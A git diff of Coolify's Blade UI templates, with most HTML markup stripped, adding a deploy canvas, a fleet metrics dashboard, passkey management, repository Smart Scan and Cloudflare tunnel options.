    + @foreach ([ + ['value' => 'default', 'label' => 'Default', 'description' => 'Top bar and sidebars run edge to edge.'], + ['value' => 'floating', 'label' => 'Floating', 'description' => 'Framed panels float on a dotted backdrop, like the canvas.'], + ] as $option) + + @endforeach +
    +
    + +
    +
    +
    +

    Navigation items

    +

    Choose how the main sidebar shows its items.

    +
    +
    +
    + @foreach ([ + ['value' => '3d', 'label' => '3D', 'description' => 'Each icon sits in a raised tile that lifts on hover.'], + ['value' => 'flat', 'label' => 'Flat', 'description' => 'Plain rows with a highlight for the current page.'], + ] as $option) + + @endforeach +
    +
    @endif diff --git a/resources/views/components/top-breadcrumb.blade.php b/resources/views/components/top-breadcrumb.blade.php index 8a5fba1e2b..d2751296dd 100644 --- a/resources/views/components/top-breadcrumb.blade.php +++ b/resources/views/components/top-breadcrumb.blade.php @@ -85,7 +85,7 @@ $currentTag = $tags->firstWhere('name', $tagName); $dashboardContext = match (true) { request()->routeIs('dashboard') => 'Dashboard', - request()->routeIs('project.index') => 'Projects', + request()->routeIs('project.index', 'project.canvas.index') => 'Projects', request()->routeIs('terminal') => 'Terminal', request()->routeIs('server.*') => 'Servers', request()->routeIs('source.*') => 'Sources', diff --git a/resources/views/components/top-user-menu.blade.php b/resources/views/components/top-user-menu.blade.php index b3559970bb..1e1770a251 100644 --- a/resources/views/components/top-user-menu.blade.php +++ b/resources/views/components/top-user-menu.blade.php @@ -8,7 +8,7 @@ $userEmail = $user?->email ?? ''; $userInitial = strtoupper(mb_substr($user?->name ?: ($user?->email ?: 'A'), 0, 1)); @endphp -
    $sidebar]) x-data="{ +
    $sidebar]) x-data="{ open: false, appearanceOpen: false, avatarUrl: @js($user?->avatar_path ? profile_avatar_url($user) : null), @@ -23,10 +23,10 @@ @click.outside="closePanel()">
    {{-- ============ DESKTOP SIDEBAR (below top bar) ============ --}} - {{-- ============ MAIN ============ --}} -
    -
    - {{ $slot }} -
    -
    + @if ($fullBleed ?? false) + {{-- Full-bleed pages (canvases) fill the space between the top bar and the sidebar. --}} +
    +
    + {{ $slot }} +
    +
    + @else +
    +
    + {{ $slot }} +
    +
    + @endif
    @endauth @endsection diff --git a/resources/views/layouts/base.blade.php b/resources/views/layouts/base.blade.php index 27ddee9f33..2f8ea18e56 100644 --- a/resources/views/layouts/base.blade.php +++ b/resources/views/layouts/base.blade.php @@ -32,6 +32,8 @@ const theme = localStorage.theme === 'purple' ? 'custom' : (localStorage.theme || 'dark'); const themeColor = localStorage.themeColor || '#6b16ed'; const customMode = localStorage.customMode || 'dark'; + document.documentElement.dataset.navStyle = localStorage.navStyle === 'floating' ? 'floating' : 'default'; + document.documentElement.dataset.navItems = localStorage.navItems === 'flat' ? 'flat' : '3d'; const isDark = theme === 'dark' || (theme === 'custom' && customMode === 'dark') || (theme === 'system' && matchMedia('(prefers-color-scheme: dark)').matches); @@ -49,7 +51,9 @@ theme: localStorage.getItem('theme') === 'purple' ? 'custom' : (localStorage.getItem('theme') || 'dark'), themeColor: localStorage.getItem('themeColor') || '#6b16ed', customMode: localStorage.getItem('customMode') || 'dark', - pageWidth: localStorage.getItem('pageWidth') || 'full', + pageWidth: localStorage.getItem('pageWidth') || 'centered', + navStyle: localStorage.getItem('navStyle') === 'floating' ? 'floating' : 'default', + navItems: localStorage.getItem('navItems') === 'flat' ? 'flat' : '3d', themeColorFrame: null, pickerOpen: false, init() { @@ -79,6 +83,16 @@ localStorage.setItem('pageWidth', width); window.dispatchEvent(new CustomEvent('page-width-changed', { detail: width })); }, + setNavStyle(style) { + this.navStyle = style; + localStorage.setItem('navStyle', style); + document.documentElement.dataset.navStyle = style; + }, + setNavItems(style) { + this.navItems = style; + localStorage.setItem('navItems', style); + document.documentElement.dataset.navItems = style; + }, previewThemeColor(color) { this.themeColor = color; if (this.theme !== 'custom') { diff --git a/resources/views/livewire/dashboard.blade.php b/resources/views/livewire/dashboard.blade.php index 472b3e9961..5de545df33 100644 --- a/resources/views/livewire/dashboard.blade.php +++ b/resources/views/livewire/dashboard.blade.php @@ -83,14 +83,16 @@ @endif
    -
    +

    {{ $project->name }}

    -

    - {{ $project->description }} -

    + @if (filled($project->description)) +

    + {{ $project->description }} +

    + @endif
    @@ -204,14 +206,16 @@ class="flex size-8 shrink-0 items-center justify-center rounded-lg border border-neutral-200 bg-neutral-50 text-neutral-500 dark:border-white/[0.1] dark:bg-white/[0.04] dark:text-fg-dim">
    -
    +

    {{ $server->name }}

    -

    - {{ $server->description }} -

    + @if (filled($server->description)) +

    + {{ $server->description }} +

    + @endif
    @if ($serverStatusType !== 'success') + + Deploy canvas | Coolify + + {{-- The app's icons, cloned by resources/js/canvas/deploy/Icon.svelte. --}} + + {{-- One-click service templates for the Service step: [key, name]. --}} + + {{-- The logos of the other source steps: name => versioned URL. --}} + + {{-- Their logos for the Service step icon: key => [logo, CDN fallback]. --}} + +
    + {{-- Opened by the canvas Reset button in resources/js/canvas/deploy/DeployCanvas.svelte. + Out of the page flow: its empty trigger line under the full-height canvas + made the page scroll, which moved the canvas panels up. --}} +
    + + + + + +
    +
    diff --git a/resources/views/livewire/fleet/_usage-cell.blade.php b/resources/views/livewire/fleet/_usage-cell.blade.php new file mode 100644 index 0000000000..4ef75c08be --- /dev/null +++ b/resources/views/livewire/fleet/_usage-cell.blade.php @@ -0,0 +1,12 @@ +@php + $level = \App\Support\Metrics\PressureLevel::for($percent, $kind); + $width = $percent === null ? 0 : min(100, round($percent, 1)); +@endphp +
    + + {{ $percent === null ? '-' : round($percent).'%' }} + + +
    diff --git a/resources/views/livewire/fleet/metrics-placeholder.blade.php b/resources/views/livewire/fleet/metrics-placeholder.blade.php new file mode 100644 index 0000000000..0ff339a199 --- /dev/null +++ b/resources/views/livewire/fleet/metrics-placeholder.blade.php @@ -0,0 +1,38 @@ +
    + {{-- Header (real chrome; only the data below is a skeleton) --}} +
    +
    +

    Metrics

    +

    + Resource usage across every server, reported by Sentinel. +

    +
    + + {{-- Filter bar --}} +
    + + +
    +
    + + + + + +
    + @foreach (['CPU', 'Memory used', 'Network throughput', 'Load average', 'Disk usage'] as $label) + $label === 'CPU'])> + + + @endforeach +
    + + + + + + + + +
    diff --git a/resources/views/livewire/fleet/metrics.blade.php b/resources/views/livewire/fleet/metrics.blade.php new file mode 100644 index 0000000000..4ff5b14ddb --- /dev/null +++ b/resources/views/livewire/fleet/metrics.blade.php @@ -0,0 +1,431 @@ + '', 'label' => 'All servers']], + collect($serverOptions)->map(fn ($name, $uuid) => ['value' => $uuid, 'label' => $name])->values()->all(), +); +?> +
    + + Metrics | Coolify + + + {{-- Header --}} +
    +
    +

    Metrics

    +

    + Resource usage across every server, reported by Sentinel. +

    +
    + + @if ($servers->isNotEmpty()) +
    +
    + + +
    + +
    + @if ($range === '24h') +
    + +
    + @endif +
    + @foreach (['24h' => '24 hours', '7d' => '7 days', '30d' => '30 days'] as $value => $label) + + @endforeach +
    +
    +
    + @endif +
    + + @if ($this->isLivePollable()) + + @endif + + @if ($servers->isEmpty()) + + + + View servers + + + + @else + {{-- Overview KPIs --}} + +
    +
    + Servers online + {{ $kpis['serversOnline'] ?? 0 }}/{{ $kpis['serversTotal'] ?? 0 }} + @php + $sTotal = max(1, (int) ($kpis['serversTotal'] ?? 0)); + $sOnline = (int) ($kpis['serversOnline'] ?? 0); + $sAttention = min($sOnline, (int) ($kpis['needsAttention'] ?? 0)); + $sHealthy = max(0, $sOnline - $sAttention); + $sOffline = max(0, $sTotal - $sOnline); + @endphp +
    +
    +
    + @if ($sHealthy > 0)
    @endif + @if ($sAttention > 0)
    @endif + @if ($sOffline > 0)
    @endif +
    +
    + {{ $sHealthy }} healthy + @if ($sAttention > 0){{ $sAttention }} attention@endif + @if ($sOffline > 0){{ $sOffline }} offline@endif +
    +
    +
    +
    +
    + + {{ $scoped ? 'CPU' : 'Fleet CPU' }} + @if ($kpis['cpuApproximate'] ?? false) + ~ + @endif + + {{ round($kpis['cpuAvg'] ?? 0) }}% +
    + @include('livewire.traffic._sparkline', [ + 'id' => $chartId.'-spark-cpu', + 'initial' => $chartData['cpuSpark'] ?? [], + 'color' => '#3b82f6', + 'categories' => $chartData['sparkCategories'] ?? [], + 'event' => 'refreshChartData-'.$chartId, + 'key' => 'cpuSpark', + 'label' => $scoped ? 'CPU' : 'Fleet CPU', + 'format' => 'percent', + ]) +
    +
    +
    + {{ $scoped ? 'Memory' : 'Fleet memory' }} + {{ round($kpis['memPercent'] ?? 0) }}% +
    + @include('livewire.traffic._sparkline', [ + 'id' => $chartId.'-spark-memory', + 'initial' => $chartData['memSpark'] ?? [], + 'color' => '#8b5cf6', + 'categories' => $chartData['sparkCategories'] ?? [], + 'event' => 'refreshChartData-'.$chartId, + 'key' => 'memSpark', + 'label' => 'Memory used', + 'format' => 'bytes', + ]) +
    +
    +
    + {{ $scoped ? 'Disk' : 'Fleet disk' }} + {{ round($kpis['diskPercent'] ?? 0) }}% +
    + @include('livewire.traffic._sparkline', [ + 'id' => $chartId.'-spark-disk', + 'initial' => $chartData['diskSpark'] ?? [], + 'color' => '#ef4444', + 'categories' => $chartData['sparkCategories'] ?? [], + 'event' => 'refreshChartData-'.$chartId, + 'key' => 'diskSpark', + 'label' => $scoped ? 'Disk' : 'Fleet disk', + 'format' => 'percent', + ]) +
    +
    +
    + {{ $scoped ? 'Network' : 'Fleet network' }} + {{ formatBytes(($kpis['netRx'] ?? 0) + ($kpis['netTx'] ?? 0)) }}/s +
    + @include('livewire.traffic._sparkline', [ + 'id' => $chartId.'-spark-network', + 'initial' => $chartData['netSpark'] ?? [], + 'color' => '#10b981', + 'categories' => $chartData['sparkCategories'] ?? [], + 'event' => 'refreshChartData-'.$chartId, + 'key' => 'netSpark', + 'label' => 'Network', + 'format' => 'bytes', + ]) +
    +
    +
    + Containers + {{ compactNumber($kpis['containers'] ?? 0) }} +
    +
    + @if (! empty($topContainers)) + @php + $hottest = $this->containerMeta($topContainers[0]['id']); + $hottestValue = match ($containerMetric) { + 'memory' => formatBytes($topContainers[0]['memUsed'] ?? 0), + 'disk' => formatBytes($topContainers[0]['diskBytes'] ?? 0), + 'network' => formatBytes($topContainers[0]['net'] ?? 0).'/s', + default => round($topContainers[0]['cpu'] ?? 0).'%', + }; + @endphp + {{ $hottest['name'] }} + hottest, {{ $hottestValue }} + @endif +
    +
    +
    +
    +
    + + {{-- Trend charts --}} + {{-- CPU is the primary triage signal, so it spans full width; the other four + fleet series fall into a clean 2x2 below (no orphaned cell). --}} +
    + @foreach (['cpu' => 'CPU', 'memory' => 'Memory used', 'network' => 'Network throughput', 'load' => 'Load average', 'disk' => 'Disk usage'] as $key => $label) + $key === 'cpu'])> +
    +
    +
    +
    + @endforeach +
    + + {{-- Servers table --}} + +
    +
    + Server + CPU + Memory + Disk + Load + Network + Containers +
    + @foreach (collect($serverRows)->sortByDesc(fn ($r) => $r['cpu'] ?? -1) as $row) +
    +
    + {{ $row['name'] }} + @unless ($row['online']) + Offline + @endunless +
    +
    @include('livewire.fleet._usage-cell', ['percent' => $row['cpu'], 'kind' => 'cpu'])
    +
    @include('livewire.fleet._usage-cell', ['percent' => ($row['memTotal'] ?? 0) ? round($row['memUsed'] / $row['memTotal'] * 100, 1) : null, 'kind' => 'memory'])
    +
    @include('livewire.fleet._usage-cell', ['percent' => $row['diskPercent'], 'kind' => 'disk'])
    +
    {{ $row['load1'] === null ? '-' : number_format($row['load1'], 2) }}
    +
    {{ $row['netRx'] === null ? '-' : formatBytes($row['netRx'] + $row['netTx']).'/s' }}
    +
    {{ $row['containers'] ?? '-' }}
    +
    + @endforeach +
    +
    + + {{-- Hottest containers --}} + + +
    + +
    + @foreach (['cpu' => 'CPU', 'memory' => 'Memory', 'disk' => 'Disk', 'network' => 'Network'] as $m => $mlabel) + + @endforeach +
    +
    +
    + @if (empty($topContainers)) +
    + +
    + @else + @php + $metricOf = fn ($c) => match ($containerMetric) { + 'memory' => $c['memUsed'] ?? 0, + 'disk' => $c['diskBytes'] ?? 0, + 'network' => $c['net'] ?? 0, + default => $c['cpu'] ?? 0, + }; + // Bars are scaled to the leader so the row length reads as "share of the hottest". + $maxMetric = max(1, collect($topContainers)->map($metricOf)->max()); + @endphp +
    +
    + # + Container + Server + {{ ['cpu' => 'CPU', 'memory' => 'Memory', 'disk' => 'Disk', 'network' => 'Network'][$containerMetric] }} +
    + @foreach ($topContainers as $c) + @php + $meta = $this->containerMeta($c['id']); + $pct = min(100, round($metricOf($c) / $maxMetric * 100, 1)); + $display = match ($containerMetric) { + 'memory' => formatBytes($c['memUsed'] ?? 0), + 'disk' => formatBytes($c['diskBytes'] ?? 0), + 'network' => formatBytes($c['net'] ?? 0).'/s', + default => round($c['cpu'] ?? 0).'%', + }; + @endphp +
    +
    {{ $loop->iteration }}
    +
    + @if ($meta['link']) + {{ $meta['name'] }} + @else + {{ $meta['name'] }} + @endif + @if ($meta['image']) + {{ $meta['image'] }} + @endif +
    +
    {{ $c['server'] }}
    +
    + + {{ $display }} +
    +
    + @endforeach +
    + @endif +
    + @endif + + @script + + @endscript +
    diff --git a/resources/views/livewire/global-search.blade.php b/resources/views/livewire/global-search.blade.php index a38380f603..e429177bb9 100644 --- a/resources/views/livewire/global-search.blade.php +++ b/resources/views/livewire/global-search.blade.php @@ -252,7 +252,7 @@ const exactMatchCommands = [ 'new project', 'new server', 'new team', 'new storage', 'new s3', 'new private key', 'new privatekey', 'new key', - 'new github app', 'new github', 'new source', + 'new github app', 'new github', 'new source', 'new canvas', 'new public', 'new public git', 'new public repo', 'new public repository', 'new private github', 'new private gh', 'new private deploy', 'new deploy key', 'new dockerfile', 'new docker compose', 'new compose', 'new docker image', 'new image', diff --git a/resources/views/livewire/profile/index.blade.php b/resources/views/livewire/profile/index.blade.php index 1c77a2d70e..b2ada6f238 100644 --- a/resources/views/livewire/profile/index.blade.php +++ b/resources/views/livewire/profile/index.blade.php @@ -300,6 +300,8 @@
  • + +
    diff --git a/resources/views/livewire/profile/passkeys.blade.php b/resources/views/livewire/profile/passkeys.blade.php new file mode 100644 index 0000000000..86df71597d --- /dev/null +++ b/resources/views/livewire/profile/passkeys.blade.php @@ -0,0 +1,104 @@ +
    + @if ($enabled) + @assets + @vite('resources/js/passkeys.js') + @endassets +
    +
    +
    +

    Passkeys

    +

    Sign in with your fingerprint, face, or a security key. A passkey sign-in skips two-factor authentication.

    +
    + @if ($available && ! $show_form) + Add passkey + @endif +
    +
    + @unless ($available) + + Passkeys need HTTPS on the instance domain, or localhost. An IP address does not work. + + @endunless + + @if ($available && $show_form) +
    +
    + + Create passkey + Cancel +
    +

    +
    + @endif + + @forelse ($passkeys as $passkey) +
    +
    +
    {{ $passkey->name }}
    +
    + + Save + +

    + {{ $passkey->authenticator ?? 'Passkey' }} + · Added {{ $passkey->created_at->diffForHumans() }} + · {{ $passkey->last_used_at ? 'Last used '.$passkey->last_used_at->diffForHumans() : 'Not used yet' }} +

    +
    +
    + + + +
    + +
    +
    +
    + @empty + @if ($available && ! $show_form) + + @endif + @endforelse + + @error('name') +

    {{ $message }}

    + @enderror +
    +
    + @endif +
    diff --git a/resources/views/livewire/project/application/advanced.blade.php b/resources/views/livewire/project/application/advanced.blade.php index bff96bbf69..c5e5aa89c3 100644 --- a/resources/views/livewire/project/application/advanced.blade.php +++ b/resources/views/livewire/project/application/advanced.blade.php @@ -138,6 +138,25 @@ ['value' => true, 'label' => 'Strip prefixes'], ['value' => false, 'label' => 'Keep paths as-is'], ]" :disabled="! $canUpdate" /> + @if ($isTraefikProxy) + + @if ($certificateResolverMode === 'custom') +
    + + + + @endif + @endif
    @else latestExecution; + $s3StorageNames = ($backup->s3Storages->isNotEmpty() ? $backup->s3Storages : collect([$backup->s3])->filter())->pluck('name'); $status = $latestExecution?->status; $statusLabel = match ($status) { 'running' => 'In progress', @@ -208,9 +209,9 @@ {{ $backup->targetType() }} {{ $backup->frequency }} - - + + {{ $latestExecution?->finished_at?->diffForHumans() ?? ($status === 'running' ? 'Running now' : 'Never') }} diff --git a/resources/views/livewire/project/application/deployment/index.blade.php b/resources/views/livewire/project/application/deployment/index.blade.php index bfee536891..049bc21cb6 100644 --- a/resources/views/livewire/project/application/deployment/index.blade.php +++ b/resources/views/livewire/project/application/deployment/index.blade.php @@ -169,7 +169,7 @@ -
    +
    $embedded])>
    Status Source diff --git a/resources/views/livewire/project/application/deployment/show.blade.php b/resources/views/livewire/project/application/deployment/show.blade.php index a10e0b6640..29d5cb7b42 100644 --- a/resources/views/livewire/project/application/deployment/show.blade.php +++ b/resources/views/livewire/project/application/deployment/show.blade.php @@ -8,7 +8,7 @@
    -
    +
    @@ -273,7 +273,7 @@ this.deploymentFinishedCleanup = null; } } - }" class="flex h-[calc(100dvh-8rem)] min-h-[32rem] w-full flex-col overflow-hidden xl:h-[32rem] xl:min-h-0 xl:flex-none"> + }" class="flex h-[calc(100dvh-8rem)] min-h-[32rem] w-full min-w-0 flex-col overflow-hidden xl:h-[32rem] xl:min-h-0 xl:flex-none 2xl:sticky 2xl:top-4 2xl:h-[calc(100dvh-10rem)] 2xl:min-h-[32rem]">
    @endif
    + @if ($buildPack === 'nixpacks') + + @endif
    @endif @if ($application->could_set_build_commands() || ($isStatic && $buildPack !== 'static')) @@ -144,35 +147,9 @@
    @if ($buildPack === 'dockercompose')
    -
    - - -
    +
    @else -
    - - @if ($buildPack === 'dockerfile' && !$application->dockerfile) - - @endif - - @if ($buildPack === 'dockerfile') - - @endif + @if ($application->could_set_build_commands()) @if ($application->settings->is_static) @endif @endif - -
    + @if ($this->application->is_github_based() && !$this->application->is_public_repository())
    + @if ($buildPack === 'dockerfile') + + @endif - Deploy + Redeploy @if ($application->build_pack !== 'dockercompose') @if ($application->build_pack !== 'dockercompose') - -
    +
    @@ -116,12 +97,13 @@
    -
    +

    + x-show="project.description?.trim()" + x-text="project.description">

    @@ -243,7 +225,7 @@ search: '', sortBy: 'name-asc', sortOpen: false, - viewMode: localStorage.getItem('projects-view') || 'grid', + viewMode: @js($this->listView('projects', 'grid')), page: 1, pageSize: 12, projects: @js($projectsJs), @@ -311,7 +293,7 @@ setViewMode(mode) { this.viewMode = mode; this.page = 1; - localStorage.setItem('projects-view', mode); + this.$wire.saveListView('projects', mode); }, previousPage() { this.page = Math.max(1, this.page - 1); diff --git a/resources/views/livewire/project/new/github-private-repository-deploy-key.blade.php b/resources/views/livewire/project/new/github-private-repository-deploy-key.blade.php index b0dc41bb4d..6ee5dfe990 100644 --- a/resources/views/livewire/project/new/github-private-repository-deploy-key.blade.php +++ b/resources/views/livewire/project/new/github-private-repository-deploy-key.blade.php @@ -57,7 +57,7 @@ - - -

    - Resolved file: - -

    -
    + @else @endif + + @include('livewire.project.new.partials.smart-scan-summary') + + {{-- Dockerfile: pick a detected file or type a path --}} + @if ($build_pack === 'dockerfile') + + @endif + + {{-- Docker Compose file selector: pick a detected file or type a path --}} + @if ($build_pack === 'dockercompose' && count($detectedDockerComposeFiles) > 0) + + @endif
    diff --git a/resources/views/livewire/project/new/github-private-repository.blade.php b/resources/views/livewire/project/new/github-private-repository.blade.php index 9ca9c2fec3..c89472dd7a 100644 --- a/resources/views/livewire/project/new/github-private-repository.blade.php +++ b/resources/views/livewire/project/new/github-private-repository.blade.php @@ -104,6 +104,8 @@ Continue
    + @include('livewire.project.new.partials.smart-scan-summary') +
    values()->all()" /> + @endif + + {{-- Docker Compose file selector: pick a detected file or type a path --}} + @if ($build_pack === 'dockercompose' && count($detectedDockerComposeFiles) > 0) + + @endif + @if ($build_pack === 'dockercompose') -
    - - -

    - Resolved file: - -

    -
    + @else diff --git a/resources/views/livewire/project/new/gitlab-private-repository.blade.php b/resources/views/livewire/project/new/gitlab-private-repository.blade.php index b047669071..0a0e7e152d 100644 --- a/resources/views/livewire/project/new/gitlab-private-repository.blade.php +++ b/resources/views/livewire/project/new/gitlab-private-repository.blade.php @@ -109,7 +109,7 @@ ])->values()->all()" /> - - -

    - Resolved file: - -

    -
    + @else diff --git a/resources/views/livewire/project/new/partials/env-import-modal.blade.php b/resources/views/livewire/project/new/partials/env-import-modal.blade.php new file mode 100644 index 0000000000..bb8136e2b4 --- /dev/null +++ b/resources/views/livewire/project/new/partials/env-import-modal.blade.php @@ -0,0 +1,31 @@ + + + {{ $envImported ? 'Edit' : 'Review' }} + + +
    + @if (count($detectedEnvFiles) > 1) + + @endif +
    + @foreach ($envExampleVars as $key => $value) +
    + {{ $key }} + +
    + @endforeach +
    +
    + + + @if ($envImported) + Remove import + @endif + + {{ $envImported ? 'Update' : 'Import' }} {{ count($envExampleVars) }} {{ Str::plural('variable', count($envExampleVars)) }} + + +
    diff --git a/resources/views/livewire/project/new/partials/smart-scan-summary.blade.php b/resources/views/livewire/project/new/partials/smart-scan-summary.blade.php new file mode 100644 index 0000000000..690bba4303 --- /dev/null +++ b/resources/views/livewire/project/new/partials/smart-scan-summary.blade.php @@ -0,0 +1,73 @@ +{{-- + Smart Scan result inside the build configuration, as a compact divided list: the build pack, + the Dockerfile port, and the env file import. The scan button sends the current base directory, + so the user can scan a subdirectory after changing it. +--}} +@php + $buildPackLabels = ['dockercompose' => 'Docker Compose', 'dockerfile' => 'Dockerfile']; + $suggestedFile = match ($suggestedBuildPack) { + 'dockercompose' => $detectedDockerComposeFiles[0] ?? null, + 'dockerfile' => $detectedDockerfiles[0] ?? null, + default => null, + }; + $nestedFiles = collect([ + count($detectedDockerfiles) ? count($detectedDockerfiles).' '.Str::plural('Dockerfile', count($detectedDockerfiles)) : null, + count($detectedDockerComposeFiles) ? count($detectedDockerComposeFiles).' '.Str::plural('Compose file', count($detectedDockerComposeFiles)) : null, + ])->filter()->join(' and '); + $showPort = $detectionRan && $build_pack === 'dockerfile' && in_array($selectedDockerfile, $detectedDockerfiles, true); +@endphp + +
    +
    +

    + Smart Scan +

    + + + {{ $detectionRan ? 'Scan again' : 'Scan repository' }} + +
    + +
    + +
    + +
    + @if (! $detectionRan) + + @elseif ($detectionFailed) + + @elseif ($suggestedBuildPack) + + @elseif ($nestedFiles !== '') + + @else + + @endif + + @if ($showPort) + @if ($detectedPort) + + @else + + @endif + @endif + + @if ($detectionRan && count($envExampleVars) > 0) +
    + + @include('livewire.project.new.partials.env-import-modal') +
    + @endif +
    +
    diff --git a/resources/views/livewire/project/new/public-git-repository.blade.php b/resources/views/livewire/project/new/public-git-repository.blade.php index 137d880eed..8825ea3ee5 100644 --- a/resources/views/livewire/project/new/public-git-repository.blade.php +++ b/resources/views/livewire/project/new/public-git-repository.blade.php @@ -56,13 +56,15 @@ @endif + @include('livewire.project.new.partials.smart-scan-summary') +
    + @endif + + {{-- Docker Compose file selector: pick a detected file or type a path --}} + @if ($build_pack === 'dockercompose' && count($detectedDockerComposeFiles) > 0) + + @endif + @if ($build_pack === 'dockercompose') -
    - - -

    - Resolved file: - -

    -
    + @else diff --git a/resources/views/livewire/project/new/select.blade.php b/resources/views/livewire/project/new/select.blade.php index 63386039e8..a9fa3dc5f6 100644 --- a/resources/views/livewire/project/new/select.blade.php +++ b/resources/views/livewire/project/new/select.blade.php @@ -92,8 +92,31 @@
    -
    - + {{-- A full page load: the canvas uses the minimal layout. --}} + +
    + +
    +
    +
    +

    Deploy canvas

    + +
    +

    + Connect a server, a source, and its settings step by step, then deploy every resource at once. +

    +
    + + Try it + + +
    + +
    +
    + + +
    + + Create environment + +
    + diff --git a/resources/views/livewire/project/project-canvas.blade.php b/resources/views/livewire/project/project-canvas.blade.php new file mode 100644 index 0000000000..86552e3c49 --- /dev/null +++ b/resources/views/livewire/project/project-canvas.blade.php @@ -0,0 +1,38 @@ +
    + + {{ $project->name }} > Canvas | Coolify + +
    + {{-- The canvas moves this group into its toolbar (page actions last, at the right end), + which can be outside this component, + so buttons open the modals below with a window event. --}} +
    + + @can('update', $project) + + + Settings + + + @endcan +
    +
    + @can('update', $project) + + + @include('livewire.project.partials.new-environment-form') + + @endcan +
    diff --git a/resources/views/livewire/project/projects-canvas.blade.php b/resources/views/livewire/project/projects-canvas.blade.php new file mode 100644 index 0000000000..8320d0a300 --- /dev/null +++ b/resources/views/livewire/project/projects-canvas.blade.php @@ -0,0 +1,31 @@ +
    + + Projects > Canvas | Coolify + +
    + {{-- The canvas moves this group into its toolbar (page actions last, at the right end), + which can be outside this component, + so buttons open the modals below with a window event. --}} +
    + + @can('createAnyResource') + + @endcan +
    +
    + @can('createAnyResource') + + + + + @endcan +
    diff --git a/resources/views/livewire/project/resource/index.blade.php b/resources/views/livewire/project/resource/index.blade.php index 0a08cc0fa4..6c7d33685b 100644 --- a/resources/views/livewire/project/resource/index.blade.php +++ b/resources/views/livewire/project/resource/index.blade.php @@ -149,27 +149,9 @@ -
    - - -
    +
    @@ -193,16 +175,8 @@ {{ wireNavigate() }} class="absolute inset-0" :aria-label="`Open ${item.name}`">
    - - - + class="flex size-8 shrink-0 items-center justify-center overflow-hidden rounded-lg border border-neutral-200 bg-neutral-50 text-neutral-500 dark:border-white/[0.08] dark:bg-white/[0.035] dark:text-fg-dim"> +
    @@ -211,9 +185,9 @@ class="relative block truncate text-[13px] font-semibold text-black hover:underline dark:text-fg" x-text="item.name">
    -

    - -

    +

    -
    - - -
    +
    @@ -239,7 +211,7 @@ search: '', sortBy: 'name-asc', sortOpen: false, - viewMode: localStorage.getItem('project-environments-view') || 'grid', + viewMode: @js($this->listView('project', 'grid')), page: 1, pageSize: 12, environments: @js($environmentsJs), @@ -299,7 +271,7 @@ setViewMode(mode) { this.viewMode = mode; this.page = 1; - localStorage.setItem('project-environments-view', mode); + this.$wire.saveListView('project', mode); }, previousPage() { this.page = Math.max(1, this.page - 1); diff --git a/resources/views/livewire/security/api-tokens.blade.php b/resources/views/livewire/security/api-tokens.blade.php index ddffd51094..1a1509485e 100644 --- a/resources/views/livewire/security/api-tokens.blade.php +++ b/resources/views/livewire/security/api-tokens.blade.php @@ -5,18 +5,20 @@ - @if (!$isApiEnabled) + @if (!$isApiEnabled && !$isMcpEnabled)
    - - - Open settings - - + description="{{ isInstanceAdmin() ? 'Enable API access in instance settings to issue tokens.' : 'Ask an instance admin to enable API access.' }}" + icon-name="keys" size="sm"> + @if (isInstanceAdmin()) + + + Enable API access + + + @endif
    @@ -30,6 +32,11 @@ @endphp
    + @if (!$isApiEnabled) + + Tokens work only for the MCP endpoint {{ url('/mcp') }} until API access is enabled. + + @endif @can('create', App\Models\PersonalAccessToken::class)
    diff --git a/resources/views/livewire/security/integration-token-editor.blade.php b/resources/views/livewire/security/integration-token-editor.blade.php index 9a558939ba..46882ba513 100644 --- a/resources/views/livewire/security/integration-token-editor.blade.php +++ b/resources/views/livewire/security/integration-token-editor.blade.php @@ -34,10 +34,15 @@ Capabilities
    + :disabled="in_array('tunnel', $capabilities, true)" wire:model.live="capabilities" />

    Manage Cloudflare DNS records.

    + +

    + Create and manage tunnels for server SSH. Needs DNS. +

    @error('capabilities') {{ $message }} @@ -50,6 +55,13 @@ Create DNS records automatically when a new domain has one unambiguous matching credential.

    +
    + +

    + Create new DNS records with the Cloudflare proxy on (orange cloud), so the server IP is not public. Existing records keep their proxy status. +

    +
    @else +
    + +

    + Create new DNS records with the Cloudflare proxy on (orange cloud), so the server IP is not public. Existing records keep their proxy status. +

    +
    @else
    Capability: Secrets (read-only)
    @@ -72,9 +84,12 @@
    • Zone - DNS - Edit
    • Zone - Zone - Read
    • + @if (in_array('tunnel', $capabilities, true)) +
    • Account - Cloudflare Tunnel - Edit
    • + @endif

    Limit zone resources to the zones Coolify should manage.

    -
    Create token at Cloudflare diff --git a/resources/views/livewire/server/canvas.blade.php b/resources/views/livewire/server/canvas.blade.php new file mode 100644 index 0000000000..dd2f78e65a --- /dev/null +++ b/resources/views/livewire/server/canvas.blade.php @@ -0,0 +1,44 @@ + diff --git a/resources/views/livewire/server/charts.blade.php b/resources/views/livewire/server/charts.blade.php index 442fc1979f..1d889a2ac6 100644 --- a/resources/views/livewire/server/charts.blade.php +++ b/resources/views/livewire/server/charts.blade.php @@ -59,15 +59,34 @@ - -
    -
    + {{-- CPU is the primary signal, so it spans full width; the other four + charts fall into a 2x2 below (mirrors the fleet /metrics layout). --}} +
    + +
    +
    - -
    -
    + +
    +
    + + +
    +
    + + +
    +
    + + +
    +
    +
    @script diff --git a/resources/views/livewire/server/cloudflare-tunnel.blade.php b/resources/views/livewire/server/cloudflare-tunnel.blade.php index 255260ca18..7ae00efde6 100644 --- a/resources/views/livewire/server/cloudflare-tunnel.blade.php +++ b/resources/views/livewire/server/cloudflare-tunnel.blade.php @@ -22,31 +22,60 @@ - + Documentation + + + @endif + @if (!$isCloudflareTunnelsEnabled && $server->isFunctional() && auth()->user()->can('update', $server)) + - @else - + @endif + @if ($isCloudflareTunnelsEnabled) + @endif @if ($isCloudflareTunnelsEnabled) + @if (filled($server->settings->cloudflare_tunnel_id)) +

    + Coolify manages this tunnel through the Cloudflare API (tunnel + {{ \App\Services\CloudflareTunnelService::tunnelName($server) }}). +

    + @endif The server IP must be restored to its direct address after disabling the tunnel. + @can('update', $server) +
    + +
    + @endcan @elseif (!$server->isFunctional()) Automated configuration requires a validated server, a Cloudflare token, and an SSH domain. @@ -56,25 +85,6 @@ . @else -

    - Choose automated setup to install and configure cloudflared, or confirm that you already - configured the tunnel manually. -

    - @endif - - - @if (!$isCloudflareTunnelsEnabled && $server->isFunctional()) - - - - Documentation - - - - @cannot('update', $server) You do not have permission to configure Cloudflare Tunnel for this server. @@ -86,34 +96,88 @@ -
    -
    - - -
    -
    - Configure tunnel -
    -
